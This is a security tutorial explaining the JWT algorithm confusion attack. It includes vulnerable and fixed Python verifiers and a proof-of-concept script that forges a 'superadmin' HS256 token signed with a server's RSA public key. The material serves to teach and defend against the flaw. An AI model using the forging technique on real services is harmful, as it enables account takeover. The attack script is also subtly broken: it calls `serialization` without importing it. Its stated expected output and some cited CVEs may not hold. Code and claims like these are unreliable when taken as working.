Skip to content

JWT Algorithm Confusion Attack — How Attackers Bypass Signature Verification

DodaTech Updated 2026-06-28 5 min read

In this tutorial, you will learn about JWT Algorithm Confusion Attack. We cover key concepts, practical examples, and best practices to help you master this topic.

The JWT algorithm confusion attack exploits servers that accept tokens signed with different algorithms than expected, allowing attackers to forge valid tokens using the server's own public key.

What You'll Learn

How the algorithm confusion attack works, why it is dangerous, real-world examples, and how to prevent it with algorithm allowlisting.

Why It Matters

This attack bypasses JWT signature verification entirely. An attacker who knows only the server's public key (which is public) can forge tokens the server accepts as valid. Understanding this attack is essential for anyone implementing JWT verification.

Real-World Use

Several major vulnerabilities have been caused by algorithm confusion: CVE-2022-23529 (node-jsonwebtoken), CVE-2016-5431 (jwt library), and multiple CTF challenges. Auth0 and other providers require explicit algorithm allowlisting.

flowchart TD
    A["Server uses RS256"] --> B["Public key is... public"]
    B --> C["Attacker creates token\nwith alg: HS256"]
    C --> D["Attacker signs token\nwith PUBLIC key as HMAC secret"]
    D --> E["Server receives token"]
    E --> F{"Server verifies with\npublic key as HMAC?"}
    F -->|"Yes (vulnerable)"| G["ACCEPTED — forged!"]
    F -->|"No (secure)"| H["REJECTED"]
    style A fill:#dbeafe,stroke:#2563eb
    style C fill:#fecaca,stroke:#dc2626
    style D fill:#fecaca,stroke:#dc2626
    style G fill:#fecaca,stroke:#dc2626
    style H fill:#dcfce7,stroke:#16a34a

How the Attack Works

  1. Server is configured to use RS256 (asymmetric) and exposes a public key
  2. Attacker creates a token with alg: HS256 (symmetric)
  3. Attacker signs the token using the server's PUBLIC key as the HMAC secret
  4. Server receives the token, reads alg: HS256, and uses the public key (which it has) as the HMAC secret
  5. The signature matches! The forged token is accepted.

Code Example: Vulnerable Verification

import jwt

# VULNERABLE — no algorithm allowlist
def verify_token_vulnerable(token, public_key):
    try:
        # Without algorithms=[], the library reads 'alg' from the header
        payload = jwt.decode(token, public_key)
        return payload
    except jwt.InvalidTokenError:
        return None

Code Example: Secure Verification

import jwt

# SECURE — explicit algorithm allowlist
def verify_token_secure(token, public_key):
    try:
        payload = jwt.decode(
            token,
            public_key,
            algorithms=["RS256"]  # Only accept RS256!
        )
        return payload
    except jwt.InvalidTokenError:
        return None

Code Example: Simulating the Attack

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa

# Server generates RSA key pair
private_key = rsa.generate_private_key(65537, 2048)
public_key = private_key.public_key()

# Public key as PEM string (this is what the attacker has)
public_pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# Attacker creates a forged token
forged_payload = {
    "sub": "admin",
    "role": "superadmin",
    "exp": 9999999999
}

# SIGN WITH PUBLIC KEY AS HMAC SECRET!
forged_token = jwt.encode(
    forged_payload,
    public_pem,  # Using the PEM string as HMAC secret!
    algorithm="HS256"
)

# Vulnerable server accepts it
try:
    decoded = jwt.decode(forged_token, public_pem)
    print(f"VULNERABLE: Accepted forged admin token: {decoded}")
except Exception as e:
    print(f"Secure: Rejected: {e}")

# Secure server rejects it
try:
    decoded = jwt.decode(
        forged_token,
        public_pem,
        algorithms=["RS256"]  # Only RS256
    )
    print(f"This should not print")
except jwt.InvalidTokenError:
    print("SECURE: Rejected forged token (wrong algorithm)")

Expected output:

VULNERABLE: Accepted forged admin token: {'sub': 'admin', 'role': 'superadmin', ...}
SECURE: Rejected forged token (wrong algorithm)

Prevention Strategies

Strategy Implementation
Algorithm allowlist Always pass algorithms=["RS256"] to jwt.decode
Separate keys per algorithm Use different keys for HS256 and RS256
Reject 'none' algorithm Never accept alg: none
Key type validation Validate that the key type matches the algorithm
Library updates Use up-to-date JWT libraries that prevent known attacks

Common Mistakes

1. Not Specifying Algorithms in Decode

Allowing the library to read the algorithm from the header invites confusion attacks. Always specify allowed algorithms.

2. Using the Same Key for Multiple Algorithms

If the same key material is used for HS256 and RS256, an attacker can exploit the overlap.

3. Not Validating the "none" Algorithm

Some older libraries accept alg: none. Always explicitly reject the none algorithm.

4. Converting Public Key to String for HMAC

When a public key is passed as a string, some libraries may treat it as an HMAC secret. Use proper key objects.

5. Assuming Asymmetric Means Secure

RS256 is secure only if the verifier enforces it. If the verifier accepts HS256, the public key becomes the secret.

Practice Questions

  1. How does the algorithm confusion attack work?
  2. What is the primary defense against this attack?
  3. Why does the attacker use the public key as an HMAC secret?
  4. Can this attack work if the server only supports ES256?
  5. How do you test if your JWT verification is vulnerable?

Answers:

  1. The attacker changes the algorithm from RS256 to HS256 in the header and signs the token using the server's public key as the HMAC secret.
  2. Always specify an explicit algorithm allowlist when decoding (algorithms=["RS256"]). Never trust the alg header.
  3. The public key is public. The server has it. When used as an HMAC secret with HS256, the server's verification using the same public key will match.
  4. In theory, yes, if the library is confused. In practice, ES256 key formats are distinct enough that this is harder but still possible.
  5. Create a token with alg: HS256 signed with the public key and try to verify it. If accepted, your server is vulnerable.

Challenge: Write a test script that demonstrates the algorithm confusion attack against a vulnerable JWT verifier, then fix the verifier and show the attack fails.

FAQ

Does algorithm confusion affect all JWT libraries?

Most modern libraries require an algorithm allowlist by default. Older or misconfigured libraries are vulnerable. Always check your library's defaults.

Can this attack work with ES256?

ES256 uses different key material than HMAC, making it harder but not impossible. The same prevention (algorithm allowlisting) applies.

What is the 'none' algorithm attack?

An older attack where the attacker sets alg: none (no signature). Modern libraries reject this by default. If yours doesn't, upgrade.

How do I verify my server is not vulnerable?

Write a test that attempts to verify a token with alg: HS256 signed with your public key. If it succeeds, your server is vulnerable.

Should I use RS256 or HS256?

Use RS256 (or ES256) for distributed systems where multiple services verify tokens. Use HS256 for single-service applications where the secret stays in one place.

Mini Project

Create a Python script that demonstrates the full algorithm confusion attack: generate an RSA key pair, create a legitimate RS256 token, create a forged HS256 token signed with the public key, show that the vulnerable verifier accepts the forged token, and then secure the verifier with algorithm allowlisting.

What's Next

Now learn about JWT Audience and Issuer Validation — how to ensure tokens are used only by the intended service.

Built by the developers of DodaTech

Doda Browser, DodaZIP & Durga Antivirus Pro